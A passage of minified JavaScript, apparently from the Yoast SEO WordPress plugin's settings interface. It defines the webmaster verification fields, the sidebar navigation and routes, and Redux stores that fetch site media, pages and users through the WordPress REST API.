yst-space-y-8"},(0,e.createElement)(Bl,{as:l.TextField,type:"text",name:"wpseo.baiduverify",id:"input-wpseo-baiduverify",label:(0,Lt.__)("Baidu","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags, respectively.
(0,Lt.__)("Get your verification code in %1$sBaidu Webmaster tools%2$s.","wordpress-seo"),"<a>","</a>"),"https://ziyuan.baidu.com/site","link-baidu-webmaster-tools"),placeholder:(0,Lt.__)("Add verification code","wordpress-seo"),transformValue:Dl}),(0,e.createElement)(Bl,{as:l.TextField,type:"text",name:"wpseo.msverify",id:"input-wpseo-msverify",label:(0,Lt.__)("Bing","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags, respectively.
(0,Lt.__)("Get your verification code in %1$sBing Webmaster tools%2$s.","wordpress-seo"),"<a>","</a>"),`https://www.bing.com/toolbox/webmaster/#/Dashboard/?url=${t}`,"link-bing-webmaster-tools"),placeholder:(0,Lt.__)("Add verification code","wordpress-seo"),transformValue:Dl}),(0,e.createElement)(Bl,{as:l.TextField,type:"text",name:"wpseo.googleverify",id:"input-wpseo-googleverify",label:(0,Lt.__)("Google","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags, respectively.
(0,Lt.__)("Get your verification code in %1$sGoogle Search console%2$s.","wordpress-seo"),"<a>","</a>"),(0,Rt.addQueryArgs)("https://search.google.com/search-console/users",{hl:"en",tid:"alternate",siteUrl:t}),"link-google-search-console"),placeholder:(0,Lt.__)("Add verification code","wordpress-seo"),transformValue:Dl}),(0,e.createElement)(Bl,{as:l.TextField,type:"text",name:"wpseo_social.pinterestverify",id:"input-wpseo_social-pinterestverify",label:(0,Lt.__)("Pinterest","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags, respectively.
(0,Lt.__)("Claim your site over at %1$sPinterest%2$s.","wordpress-seo"),"<a>","</a>"),"https://www.pinterest.com/settings/claim","link-pinterest"),placeholder:(0,Lt.__)("Add verification code","wordpress-seo"),transformValue:Dl}),(0,e.createElement)(Bl,{as:l.TextField,type:"text",name:"wpseo.yandexverify",id:"input-wpseo-yandexverify",label:(0,Lt.__)("Yandex","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags, respectively.
(0,Lt.__)("Get your verification code in %1$sYandex Webmaster tools%2$s.","wordpress-seo"),"<a>","</a>"),"https://webmaster.yandex.com/sites/add/","link-yandex-webmaster-tools"),placeholder:(0,Lt.__)("Add verification code","wordpress-seo"),transformValue:Dl})))))},Vl=({postTypes:t,taxonomies:s,idSuffix:r=""})=>{const a=(0,l.useSvgAria)(),o=aa("selectPreference",[],"isPremium"),n=(0,i.useCallback)((({show:t,toggle:s,ariaProps:r})=>{const o=(0,i.useMemo)((()=>t?sr:rr),[t]);return(0,e.createElement)("div",{className:"yst-relative"},(0,e.createElement)("hr",{className:"yst-absolute yst-inset-x-0 yst-top-1/2 yst-bg-slate-200"}),(0,e.createElement)("button",{type:"button",className:"yst-relative yst-flex yst-items-center yst-gap-1.5 yst-px-2.5 yst-py-1 yst-mx-auto yst-text-xs yst-font-medium yst-text-slate-700 yst-bg-slate-50 yst-rounded-full yst-border yst-border-slate-300 hover:yst-bg-white hover:yst-text-slate-800 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-primary-500 focus:yst-ring-offset-2",onClick:s,...r},t?(0,Lt.__)("Show less","wordpress-seo"):(0,Lt.__)("Show more","wordpress-seo"),(0,e.createElement)(o,{className:"yst-h-4 yst-w-4 yst-flex-shrink-0 yst-text-slate-400 group-hover:yst-text-slate-500 yst-stroke-3",...a})))}),[]);return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("header",{className:"yst-px-3 yst-mb-6 yst-space-y-6"},(0,e.createElement)(Et,{id:`link-yoast-logo${r}`,to:"/",className:"yst-inline-block yst-rounded-md focus:yst-ring-primary-500","aria-label":"Yoast SEO"+(o?" Premium":"")},(0,e.createElement)(Qr,{className:"yst-w-40",...a})),(0,e.createElement)(Ji,{buttonId:`button-search${r}`})),(0,e.createElement)("div",{className:"yst-px-0.5 yst-space-y-6"},(0,e.createElement)(l.SidebarNavigation.MenuItem,{id:`menu-general${r}`,icon:Qs,label:(0,Lt.__)("General","wordpress-seo")},(0,e.createElement)(vr,{to:"/site-features",label:(0,Lt.__)("Site features","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/site-basics",label:(0,Lt.__)("Site basics","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/site-representation",label:(0,Lt.__)("Site representation","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/site-connections",label:(0,Lt.__)("Site connections","wordpress-seo"),idSuffix:r})),(0,e.createElement)(l.SidebarNavigation.MenuItem,{id:`menu-content-types${r}`,icon:Xs,label:(0,Lt.__)("Content types","wordpress-seo")},(0,e.createElement)(l.ChildrenLimiter,{limit:5,renderButton:n},(0,e.createElement)(vr,{to:"/homepage",label:(0,Lt.__)("Homepage","wordpress-seo"),idSuffix:r}),(0,le.map)(t,(({name:t,route:s,label:a,isNew:o})=>(0,e.createElement)(vr,{key:`link-post-type-${t}`,to:`/post-type/${s}`,label:(0,e.createElement)("span",{className:"yst-inline-flex yst-items-center yst-gap-1.5"},a,o&&(0,e.createElement)(l.Badge,{variant:"info"},(0,Lt.__)("New","wordpress-seo"))),idSuffix:r}))))),(0,e.createElement)(l.SidebarNavigation.MenuItem,{id:`menu-categories-and-tags${r}`,icon:er,label:(0,Lt.__)("Categories & tags","wordpress-seo")},(0,e.createElement)(l.ChildrenLimiter,{limit:5,renderButton:n},(0,le.map)(s,(t=>(0,e.createElement)(vr,{key:`link-taxonomy-${t.name}`,to:`/taxonomy/${t.route}`,label:(0,e.createElement)("span",{className:"yst-inline-flex yst-items-center yst-gap-1.5"},t.label,t.isNew&&(0,e.createElement)(l.Badge,{variant:"info"},(0,Lt.__)("New","wordpress-seo"))),idSuffix:r}))))),(0,e.createElement)(l.SidebarNavigation.MenuItem,{id:`menu-advanced${r}`,icon:tr,label:(0,Lt.__)("Advanced","wordpress-seo"),defaultOpen:!1},(0,e.createElement)(vr,{to:"/crawl-optimization",label:(0,Lt.__)("Crawl optimization","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/breadcrumbs",label:(0,Lt.__)("Breadcrumbs","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/author-archives",label:(0,Lt.__)("Author archives","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/date-archives",label:(0,Lt.__)("Date archives","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/format-archives",label:(0,Lt.__)("Format archives","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/special-pages",label:(0,Lt.__)("Special pages","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/media-pages",label:(0,Lt.__)("Media pages","wordpress-seo"),idSuffix:r}),(0,e.createElement)(vr,{to:"/rss",label:(0,Lt.__)("RSS","wordpress-seo"),idSuffix:r}))))};Vl.propTypes={postTypes:ir().object.isRequired,taxonomies:ir().object.isRequired,idSuffix:ir().string};const jl=()=>{const{pathname:t}=Qe(),s=aa("selectPostTypes"),r=aa("selectTaxonomies"),o=aa("selectPreference",[],"isPremium"),n=aa("selectLink",[],"https://yoa.st/17h"),c=aa("selectLink",[],"https://yoa.st/jj"),d=aa("selectUpsellSettingsAsProps"),u=aa("selectLink",[],"https://yoa.st/3t6"),{isPromotionActive:p}=(0,a.useSelect)(ea);(()=>{const{hash:e,pathname:t,key:s}=Qe();(0,i.useEffect)((()=>{const t=e.replace("#",""),s=document.getElementById(t)||document.querySelector(`[data-id="${t}"]`);if(s)s.scrollIntoView({behavior:"smooth"}),setTimeout((()=>s.focus()),800);else{const e=document.getElementById("yoast-seo-settings");null==e||e.scrollIntoView({behavior:"smooth"})}}),[t,e,s])})();const{dirty:m}=q();return(0,l.useBeforeUnload)(m,(0,Lt.__)("There are unsaved changes on this page. Leaving means that those changes will be lost. Are you sure you want to leave this page?","wordpress-seo")),(0,e.createElement)(e.Fragment,null,(0,e.createElement)(Va,null),(0,e.createElement)(l.SidebarNavigation,{activePath:t},(0,e.createElement)(l.SidebarNavigation.Mobile,{openButtonId:"button-open-settings-navigation-mobile",closeButtonId:"button-close-settings-navigation-mobile"
/* translators: Hidden accessibility text. */,openButtonScreenReaderText:(0,Lt.__)("Open settings navigation","wordpress-seo")
/* translators: Hidden accessibility text. */,closeButtonScreenReaderText:(0,Lt.__)("Close settings navigation","wordpress-seo"),"aria-label":(0,Lt.__)("Settings navigation","wordpress-seo")},(0,e.createElement)(Vl,{idSuffix:"-mobile",postTypes:s,taxonomies:r})),(0,e.createElement)("div",{className:"yst-p-4 min-[783px]:yst-p-8 yst-flex yst-gap-4"},(0,e.createElement)("aside",{className:"yst-sidebar yst-sidebar-nav yst-shrink-0 yst-hidden min-[783px]:yst-block yst-pb-6 yst-bottom-0 yst-w-56"},(0,e.createElement)(l.SidebarNavigation.Sidebar,null,(0,e.createElement)(Vl,{postTypes:s,taxonomies:r}))),(0,e.createElement)("div",{className:or()("yst-flex yst-grow yst-flex-wrap",!o&&"xl:yst-pr-[17.5rem]")},(0,e.createElement)("div",{className:"yst-grow yst-space-y-6 yst-mb-8 xl:yst-mb-0"},(0,e.createElement)(l.Paper,{as:"main"},(0,e.createElement)(l.ErrorBoundary,{FallbackComponent:Qi},(0,e.createElement)(Js,{key:t,appear:!0,show:!0,enter:"yst-transition-opacity yst-delay-100 yst-duration-300",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100"},(0,e.createElement)(ft,null,(0,e.createElement)(pt,{path:"author-archives",element:(0,e.createElement)(ll,null)}),(0,e.createElement)(pt,{path:"breadcrumbs",element:(0,e.createElement)(cl,null)}),(0,e.createElement)(pt,{path:"crawl-optimization",element:(0,e.createElement)(ml,null)}),(0,e.createElement)(pt,{path:"date-archives",element:(0,e.createElement)(hl,null)}),(0,e.createElement)(pt,{path:"homepage",element:(0,e.createElement)(bl,null)}),(0,e.createElement)(pt,{path:"format-archives",element:(0,e.createElement)(_l,null)}),(0,e.createElement)(pt,{path:"media-pages",element:(0,e.createElement)(vl,null)}),(0,e.createElement)(pt,{path:"rss",element:(0,e.createElement)(xl,null)}),(0,e.createElement)(pt,{path:"site-basics",element:(0,e.createElement)(Ll,null)}),(0,e.createElement)(pt,{path:"site-connections",element:(0,e.createElement)(Ul,null)}),(0,e.createElement)(pt,{path:"site-representation",element:(0,e.createElement)(Cl,null)}),(0,e.createElement)(pt,{path:"site-features",element:(0,e.createElement)(Pl,null)}),(0,e.createElement)(pt,{path:"special-pages",element:(0,e.createElement)(Al,null)}),(0,e.createElement)(pt,{path:"post-type"},(0,le.map)(s,(t=>(0,e.createElement)(pt,{key:`route-post-type-${t.name}`,path:t.route,element:(0,e.createElement)(rl,{...t})})))),(0,e.createElement)(pt,{path:"taxonomy"},(0,le.map)(r,(t=>(0,e.createElement)(pt,{key:`route-taxonomy-${t.name}`,path:t.route,element:(0,e.createElement)(nl,{...t})})))),(0,e.createElement)(pt,{path:"*",element:(0,e.createElement)(ut,{to:"/site-features",replace:!0})}))))),!o&&(0,e.createElement)(zr,{premiumLink:n,premiumUpsellConfig:d,isPromotionActive:p})),!o&&(0,e.createElement)("div",{className:"xl:yst-max-w-3xl xl:yst-fixed xl:yst-right-8 xl:yst-w-[16rem]"},(0,e.createElement)(qr,{premiumLink:c,premiumUpsellConfig:d,academyLink:u,isPromotionActive:p}))))))},zl=window.yoast.externals.redux,ql=()=>(0,le.get)(window,"wpseoScriptData.postTypes",{}),Wl="updatePostTypeReviewStatus",Hl=(0,Tt.createSlice)({name:"postTypes",initialState:ql(),reducers:{},extraReducers:e=>{e.addCase(`${Wl}/result`,((e,{payload:t})=>{e[t].isNew=!1}))}}),Yl={selectPostType:(e,t,s={})=>(0,le.get)(e,`postTypes.${t}`,s),selectAllPostTypes:(e,t=null)=>{const s=(0,le.get)(e,"postTypes",{});return t?(0,le.pick)(s,t):s}};Yl.selectPostTypes=(0,Tt.createSelector)(Yl.selectAllPostTypes,(e=>(0,le.omit)(e,["attachment"])));const Gl={[Wl]:async({payload:e})=>Gt()({path:"/yoast/v1/new-content-type-visibility/dismiss-post-type",method:"POST",data:{post_type_name:e}})},Kl={...Hl.actions,updatePostTypeReviewStatus:function*(e){try{yield{type:Wl,payload:e}}catch(t){console.error(`Error: Failed to remove "New" badge for ${e}, ${t}`)}return{type:`${Wl}/result`,payload:e}}},Zl=Hl.reducer,Jl=()=>{var e;return{...(0,le.get)(window,"wpseoScriptData.preferences",{}),documentTitle:(0,le.defaultTo)(null===(e=document)||void 0===e?void 0:e.title,"")}},Ql=(0,Tt.createSlice)({name:"preferences",initialState:Jl(),reducers:{}}),Xl={selectPreference:(e,t,s={})=>(0,le.get)(e,`preferences.${t}`,s),selectPreferences:e=>(0,le.get)(e,"preferences",{})};Xl.selectHasPageForPosts=(0,Tt.createSelector)([e=>Xl.selectPreference(e,"homepageIsLatestPosts"),e=>Xl.selectPreference(e,"homepagePostsEditUrl")],((e,t)=>!e&&!(0,le.isEmpty)(t))),Xl.selectCanEditUser=(0,Tt.createSelector)([e=>Xl.selectPreference(e,"currentUserId",-1),e=>Xl.selectPreference(e,"canEditUsers",!1),(e,t)=>t],((e,t,s)=>e===s||t)),Xl.selectExampleUrl=(0,Tt.createSelector)([e=>Xl.selectPreference(e,"siteUrl","https://example.com"),(e,t)=>t],((e,t)=>e+t)),Xl.selectPluginUrl=(0,Tt.createSelector)([e=>Xl.selectPreference(e,"pluginUrl","https://example.com"),(e,t)=>t],((e,t)=>e+t)),Xl.selectUpsellSettingsAsProps=(0,Tt.createSelector)([e=>Xl.selectPreference(e,"upsellSettings",{}),(e,t="premiumCtbId")=>t],((e,t)=>({"data-action":null==e?void 0:e.actionId,"data-ctb-id":null==e?void 0:e[t]})));const ec=Ql.actions,tc=Ql.reducer,sc=()=>(0,le.reduce)((0,le.get)(window,"wpseoScriptData.taxonomies",{}),((e,{postTypes:t,...s},r)=>({...e,[r]:{...s,postTypes:(0,le.values)(t)}})),{}),rc="updateTaxonomyReviewStatus",ac=(0,Tt.createSlice)({name:"taxonomies",initialState:sc(),reducers:{},extraReducers:e=>{e.addCase(`${rc}/result`,((e,{payload:t})=>{e[t].isNew=!1}))}}),oc={selectTaxonomy:(e,t,s={})=>(0,le.get)(e,`taxonomies.${t}`,s),selectAllTaxonomies:e=>(0,le.get)(e,"taxonomies",{})};oc.selectTaxonomies=(0,Tt.createSelector)(oc.selectAllTaxonomies,(e=>(0,le.omit)(e,["post_format"])));const nc={[rc]:async({payload:e})=>Gt()({path:"/yoast/v1/new-content-type-visibility/dismiss-taxonomy",method:"POST",data:{taxonomy_name:e}})},ic={...ac.actions,updateTaxonomyReviewStatus:function*(e){try{yield{type:rc,payload:e}}catch(t){console.error(`Error: Failed to remove "New" badge for ${e}, ${t}`)}return{type:`${rc}/result`,payload:e}}},lc=ac.reducer,cc={selectBreadcrumbsForPostTypes:(0,Tt.createSelector)([oc.selectAllTaxonomies,Yl.selectAllPostTypes],((e,t)=>{const s={value:0,label:(0,Lt.__)("None","wordpress-seo")},r={};return(0,le.forEach)(t,((t,a)=>{const o=(0,le.filter)(e,(e=>(0,le.includes)(e.postTypes,a)));(0,le.isEmpty)(o)||(r[a]={...t,options:[s,...(0,le.map)(o,(({name:e,label:t})=>({value:e,label:t})))]})})),r})),selectBreadcrumbsForTaxonomies:(0,Tt.createSelector)([oc.selectAllTaxonomies,Yl.selectAllPostTypes,Xl.selectHasPageForPosts],((e,t,s)=>{let r=[{value:0,label:(0,Lt.__)("None","wordpress-seo")}];s&&r.push({value:"post",label:(0,Lt.__)("Blog","wordpress-seo")});const a=(0,le.filter)(t,(({hasArchive:e})=>e));return r=r.concat((0,le.map)(a,(({name:e,label:t})=>({value:e,label:t})))),(0,le.mapValues)(e,(e=>({name:e.name,label:e.label,options:r})))}))},dc=()=>({...(0,le.get)(window,"wpseoScriptData.defaultSettingValues",{})}),uc=(0,Tt.createSlice)({name:"defaultSettingValues",initialState:dc(),reducers:{}}),pc={selectDefaultSettingValue:(e,t,s={})=>(0,le.get)(e,`defaultSettingValues.${t}`,s),selectDefaultSettingValues:e=>(0,le.get)(e,"defaultSettingValues",{})},mc=uc.actions,fc=uc.reducer,hc=()=>(0,le.get)(window,"wpseoScriptData.fallbacks",{}),yc=(0,Tt.createSlice)({name:"fallbacks",initialState:hc(),reducers:{}}),_c={selectFallback:(e,t,s={})=>(0,le.get)(e,`fallbacks.${t}`,s),selectFallbacks:e=>(0,le.get)(e,"fallbacks",{})},wc=yc.actions,gc=yc.reducer,bc=(0,Tt.createEntityAdapter)(),vc=()=>bc.getInitialState({status:Qt,error:""}),Ec="fetchMedia",xc=e=>{var t,s;return{id:null==e?void 0:e.id,title:(null==e||null===(t=e.title)||void 0===t?void 0:t.rendered)||(null==e?void 0:e.title),slug:(null==e?void 0:e.slug)||(null==e?void 0:e.name),alt:(null==e?void 0:e.alt_text)||(null==e?void 0:e.alt),url:(null==e?void 0:e.source_url)||(null==e?void 0:e.url),type:(null==e?void 0:e.media_type)||(null==e?void 0:e.type),mime:(null==e?void 0:e.mime_type)||(null==e?void 0:e.mime),author:null==e?void 0:e.author,sizes:(0,le.mapValues)((null==e?void 0:e.sizes)||(null==e||null===(s=e.media_details)||void 0===s?void 0:s.sizes),(e=>({url:(null==e?void 0:e.url)||(null==e?void 0:e.source_url),width:null==e?void 0:e.width,height:null==e?void 0:e.height})),{})}},kc=(0,Tt.createSlice)({name:"media",initialState:vc(),reducers:{addOneMedia:{reducer:bc.addOne,prepare:e=>({payload:xc(e)})},addManyMedia:{reducer:bc.addMany,prepare:e=>({payload:(0,le.map)(e,xc)})}},extraReducers:e=>{e.addCase(`${Ec}/${Kt}`,(e=>{e.status=Xt})),e.addCase(`${Ec}/${Zt}`,((e,t)=>{e.status=es,bc.addMany(e,(0,le.map)(t.payload,xc))})),e.addCase(`${Ec}/${Jt}`,((e,t)=>{e.status=ts,e.error=t.payload}))}}),Sc=bc.getSelectors((e=>e.media)),Lc={selectMediaIds:Sc.selectIds,selectMediaById:Sc.selectById,selectIsMediaLoading:e=>(0,le.get)(e,"media.status",Qt)===Xt,selectIsMediaError:e=>(0,le.get)(e,"media.status",Qt)===ts},Tc={...kc.actions,fetchMedia:function*(e){yield{type:`${Ec}/${Kt}`};try{const t=yield{type:Ec,payload:{per_page:100,include:e}};return{type:`${Ec}/${Zt}`,payload:t}}catch(e){return{type:`${Ec}/${Jt}`,payload:e}}}},Fc={[Ec]:async({payload:e})=>Gt()({path:`/wp/v2/media?${(0,Rt.buildQueryString)(e)}`})},$c=kc.reducer,Pc=window.wp.htmlEntities,Rc=(0,Tt.createEntityAdapter)(),Nc="fetchPages",Ic="pages";let Oc;const Cc=e=>{var t;return{id:null==e?void 0:e.id,name:(0,Pc.decodeEntities)((0,le.trim)(null==e?void 0:e.title.rendered))||(null==e?void 0:e.slug)||e.id,slug:null==e?void 0:e.slug,protected:null==e||null===(t=e.content)||void 0===t?void 0:t.protected}},Ac=(0,Tt.createSlice)({name:"pages",initialState:Rc.getInitialState({status:Qt,error:""}),reducers:{addOnePage:{reducer:Rc.addOne,prepare:e=>({payload:Cc(e)})},addManyPages:{reducer:Rc.addMany,prepare:e=>({payload:(0,le.map)(e,Cc)})}},extraReducers:e=>{e.addCase(`${Nc}/${Kt}`,(e=>{e.status=Xt})),e.addCase(`${Nc}/${Zt}`,((e,t)=>{e.status=es,Rc.addMany(e,(0,le.map)(t.payload,Cc))})),e.addCase(`${Nc}/${Jt}`,((e,t)=>{e.status=ts,e.error=t.payload}))}}),Mc=Ac.getInitialState,Dc=Rc.getSelectors((e=>e.pages)),Bc={selectPageIds:Dc.selectIds,selectPageById:Dc.selectById,selectPages:Dc.selectEntities};Bc.selectPagesWith=(0,Tt.createSelector)([Bc.selectPages,(e,t={})=>t],((e,t)=>{const s={};t.forEach((t=>{null!=t&&t.id&&!e[t.id]&&(s[t.id]={...t})}));const r=(0,le.pickBy)(e,(e=>!e.protected));return{...s,...r}}));const Uc={...Ac.actions,fetchPages:function*(e){yield{type:`${Nc}/${Kt}`};try{const t=yield{type:Nc,payload:{...e}};return{type:`${Nc}/${Zt}`,payload:t}}catch(e){return{type:`${Nc}/${Jt}`,payload:e}}}},Vc={[Nc]:async({payload:e})=>{var t;return null===(t=Oc)||void 0===t||t.abort(),Oc=new AbortController,Gt()({path:`/wp/v2/pages?${(0,Rt.buildQueryString)(e)}`,signal:Oc.signal})}},jc=Ac.reducer,zc=()=>({recommended:(0,le.get)(window,"wpseoScriptData.replacementVariables.recommended",{}),shared:(0,le.get)(window,"wpseoScriptData.replacementVariables.shared",[]),specific:(0,le.get)(window,"wpseoScriptData.replacementVariables.specific",{}),variables:(0,le.get)(window,"wpseoScriptData.replacementVariables.variables",[])}),qc=(0,Tt.createSlice)({name:"replacementVariables",initialState:zc(),reducers:{}}),Wc={selectRecommendedReplacementVariables:e=>(0,le.get)(e,"replacementVariables.recommended",{}),selectSharedReplacementVariables:e=>(0,le.get)(e,"replacementVariables.shared",[]),selectSpecificReplacementVariables:e=>(0,le.get)(e,"replacementVariables.specific",{}),selectReplacementVariables:e=>(0,le.get)(e,"replacementVariables.variables",[])};Wc.selectSpecificReplacementVariablesFor=(0,Tt.createSelector)([Wc.selectSharedReplacementVariables,Wc.selectSpecificReplacementVariables,(e,t)=>t,(e,t,s)=>s],((e,t,s,r)=>[...e,...(0,le.get)(t,s,(0,le.get)(t,r,[]))])),Wc.selectReplacementVariablesFor=(0,Tt.createSelector)([Wc.selectReplacementVariables,Wc.selectSpecificReplacementVariablesFor],((e,t)=>(0,le.filter)(e,(({name:e})=>(0,le.includes)(t,e))))),Wc.selectRecommendedReplacementVariablesFor=(0,Tt.createSelector)([Wc.selectRecommendedReplacementVariables,(e,t)=>t,(e,t,s)=>s],((e,t,s)=>(0,le.get)(e,t,(0,le.get)(e,s,[]))));const Hc=qc.actions,Yc=qc.reducer,Gc=(e,t)=>{
// translators: %1$s expands to the schema type, e.g. "Web Page" or "Blog Post".
const s=(0,Lt.__)("%1$s (default)","wordpress-seo");return e.map((({label:e,value:r})=>({value:r,label:r===t?(0,Lt.sprintf)(s,e):e})))},Kc=()=>({articleTypes:(0,le.get)(window,"wpseoScriptData.schema.articleTypes",{}),articleTypeDefaults:(0,le.get)(window,"wpseoScriptData.schema.articleTypeDefaults",{}),pageTypes:(0,le.get)(window,"wpseoScriptData.schema.pageTypes",{}),pageTypeDefaults:(0,le.get)(window,"wpseoScriptData.schema.pageTypeDefaults",{})}),Zc=(0,Tt.createSlice)({name:"schema",initialState:Kc(),reducers:{}}),Jc={selectSchema:e=>(0,le.get)(e,"schema",{}),selectArticleTypes:e=>(0,le.get)(e,"schema.articleTypes",{}),selectArticleTypeDefaults:e=>(0,le.get)(e,"schema.articleTypeDefaults",{}),selectPageTypes:e=>(0,le.get)(e,"schema.pageTypes",{}),selectPageTypeDefaults:e=>(0,le.get)(e,"schema.pageTypeDefaults",{})};Jc.selectArticleTypeValues=(0,Tt.createSelector)(Jc.selectArticleTypes,(e=>(0,le.values)(e))),Jc.selectArticleTypeDefault=(0,Tt.createSelector)([Jc.selectArticleTypeDefaults,(e,t)=>t],((e,t)=>(0,le.get)(e,t,"None"))),Jc.selectArticleTypeValuesFor=(0,Tt.createSelector)([Jc.selectArticleTypeValues,Jc.selectArticleTypeDefault],((e,t)=>Gc(e,t))),Jc.selectPageTypeValues=(0,Tt.createSelector)(Jc.selectPageTypes,(e=>(0,le.values)(e))),Jc.selectPageTypeDefault=(0,Tt.createSelector)([Jc.selectPageTypeDefaults,(e,t)=>t],((e,t)=>(0,le.get)(e,t,"WebPage"))),Jc.selectPageTypeValuesFor=(0,Tt.createSelector)([Jc.selectPageTypeValues,Jc.selectPageTypeDefault],((e,t)=>Gc(e,t)));const Qc=Zc.actions,Xc=Zc.reducer,ed=(e,{userLocale:t})=>gn((0,le.join)([...(0,le.isArray)(null==e?void 0:e.keywords)?e.keywords:[],null==e?void 0:e.routeLabel,null==e?void 0:e.fieldLabel]," "),t),td=(e,t="",{userLocale:s})=>(0,le.reduce)(e,((e,r,a)=>{const o=(0,le.join)((0,le.filter)([t,a],Boolean),".");return"other_social_urls"===a?{...e,[o]:{route:null==r?void 0:r.route,routeLabel:null==r?void 0:r.routeLabel,fieldId:null==r?void 0:r.fieldId,fieldLabel:null==r?void 0:r.fieldLabel,keywords:ed(r,{userLocale:s})}}:null!=r&&r.route?{...e,[o]:{...r,keywords:ed(r,{userLocale:s})}}:{...e,...td(r,o,{userLocale:s})}}),{}),sd=()=>{const e=(0,le.get)(window,"wpseoScriptData.postTypes",{}),t=(0,le.get)(window,"wpseoScriptData.taxonomies",{}),s=(0,le.get)(window,"wpseoScriptData.preferences.userLocale",{});return{index:En(e,t,{userLocale:s})}},rd=(0,Tt.createSlice)({name:"search",initialState:sd(),reducers:{}}),ad={selectSearchIndex:e=>(0,le.get)(e,"search.index",{})};ad.selectQueryableSearchIndex=(0,Tt.createSelector)([ad.selectSearchIndex,e=>Xl.selectPreference(e,"userLocale")],((e,t)=>td(e,"",{userLocale:t})));const od=rd.actions,nd=rd.reducer,id=(0,Tt.createEntityAdapter)(),ld="fetchUsers",cd=()=>id.getInitialState({status:Qt,error:""}),dd=e=>({id:null==e?void 0:e.id,name:(0,le.trim)(null==e?void 0:e.name)||(null==e?void 0:e.slug)||(null==e?void 0:e.id),slug:null==e?void 0:e.slug}),ud=(0,Tt.createSlice)({name:"users",initialState:cd(),reducers:{addOneUser:{reducer:id.addOne,prepare:e=>({payload:dd(e)})},addManyUsers:{reducer:id.addMany,prepare:e=>({payload:(0,le.map)(e,dd)})}},extraReducers:e=>{e.addCase(`${ld}/${Kt}`,(e=>{e.status=Xt})),e.addCase(`${ld}/${Zt}`,((e,t)=>{e.status=es,id.addMany(e,(0,le.map)(t.payload,dd))})),e.addCase(`${ld}/${Jt}`,((e,t)=>{e.status=ts,e.error=t.payload}))}}),pd=id.getSelectors((e=>e.users)),md={selectUserIds:pd.selectIds,selectUserById:pd.selectById,selectUsers:pd.selectEntities};md.selectUsersWith=(0,Tt.createSelector)([md.selectUsers,(e,t={})=>t],((e,t)=>null!=t&&t.id&&!e[t.id]?{...e,[t.id]:{...t}}:e));const fd={...ud.actions,fetchUsers:function*(e){yield{type:`${ld}/${Kt}`};try{const t=yield{type:ld,payload:{...e}};return{type:`${ld}/${Zt}`,payload:t}}catch(e){return{type:`${ld}/${Jt}`,payload:e}}}},hd={[ld]:async({payload:e})=>Gt()({path:`/wp/v2/users?${(0,Rt.buildQueryString)(e)}`})},yd=ud.reducer,{isPromotionActive:_d}=zl.selectors,{currentPromotions:wd}=zl.reducers,{setCurrentPromotions:gd}=zl.actions,bd=({initialState:e={}}={})=>{(0,a.register)((({initialState:e})=>(0,a.createReduxStore)(ea,{actions:{...mc,...wc,...At,...Tc,...jt,...Uc,...Kl,...ec,...Hc,...Qc,...od,...ic,...fd,setCurrentPromotions:gd},selectors:{...cc,...pc,..._c,...Ct,...Lc,...Vt,...Bc,...Yl,...Xl,...Wc,...Jc,...ad,...oc,...md,isPromotionActive:_d},initialState:(0,le.merge)({},{defaultSettingValues:dc(),fallbacks:hc(),[Nt]:Ot(),media:vc(),[Dt]:Ut(),[Ic]:Mc(),postTypes:ql(),preferences:Jl(),replacementVariables:zc(),schema:Kc(),search:sd(),taxonomies:sc(),users:cd(),currentPromotions:{promotions:[]}},e),reducer:(0,a.combineReducers)({defaultSettingValues:fc,fallbacks:gc,[Nt]:Mt,media:$c,[Dt]:zt,[Ic]:jc,postTypes:Zl,preferences:tc,replacementVariables:Yc,schema:Xc,search:nd,taxonomies:lc,users:yd,currentPromotions:wd}),controls:{...Fc,...hd,...Gl,...nc,...Vc}}))({initialState:e}))};n()((()=>{const t=document.getElementById("yoast-seo-settings");if(!t)return;const s=document.createElement("div"),o=s.attachShadow({mode:"open"});document.body.appendChild(s);const n=(0,le.get)(window,"wpseoScriptData.settings",{}),c=(0,le.get)(window,"wpseoScriptData.fallbacks",{}),d=(0,le.get)(window,"wpseoScriptData.postTypes",{}),u=(0,le.get)(window,"wpseoScriptData.taxonomies",{}),p=(0,le.get)(window,"wpseoScriptData.showNewContentTypeNotification",!1)?{"new-content-type":{id:"new-content-type",variant:"info",size:"large",title:(0,Lt.__)("New type of content added to your site!","wordpress-seo"),description:(0,Lt.__)("Please see the “New” badges and review the Search appearance settings.","wordpress-seo")}}:{};bd({initialState:{notifications:p,[Nt]:(0,le.get)(window,"wpseoScriptData.linkParams",{}),currentPromotions:{promotions:(0,le.get)(window,"wpseoScriptData.currentPromotions",[])}}}),(async({settings:e,fallbacks:t})=>{const s=(0,le.get)(e,"wpseo_titles",{}),r=(0,le.filter)([(0,le.get)(e,"wpseo_social.og_default_image_id","0"),(0,le.get)(e,"wpseo_titles.open_graph_frontpage_image_id","0"),(0,le.get)(e,"wpseo_titles.company_logo_id","0"),(0,le.get)(e,"wpseo_titles.person_logo_id","0"),(0,le.get)(t,"siteLogoId","0"),...(0,le.reduce)(s,((e,t,s)=>(0,le.includes)(s,"social-image-id")?[...e,t]:e),[])],Boolean),o=(0,le.chunk)(r,100),{fetchMedia:n}=(0,a.dispatch)(ea);(0,le.forEach)(o,n)})({settings:n,fallbacks:c}),(async({settings:e})=>{const 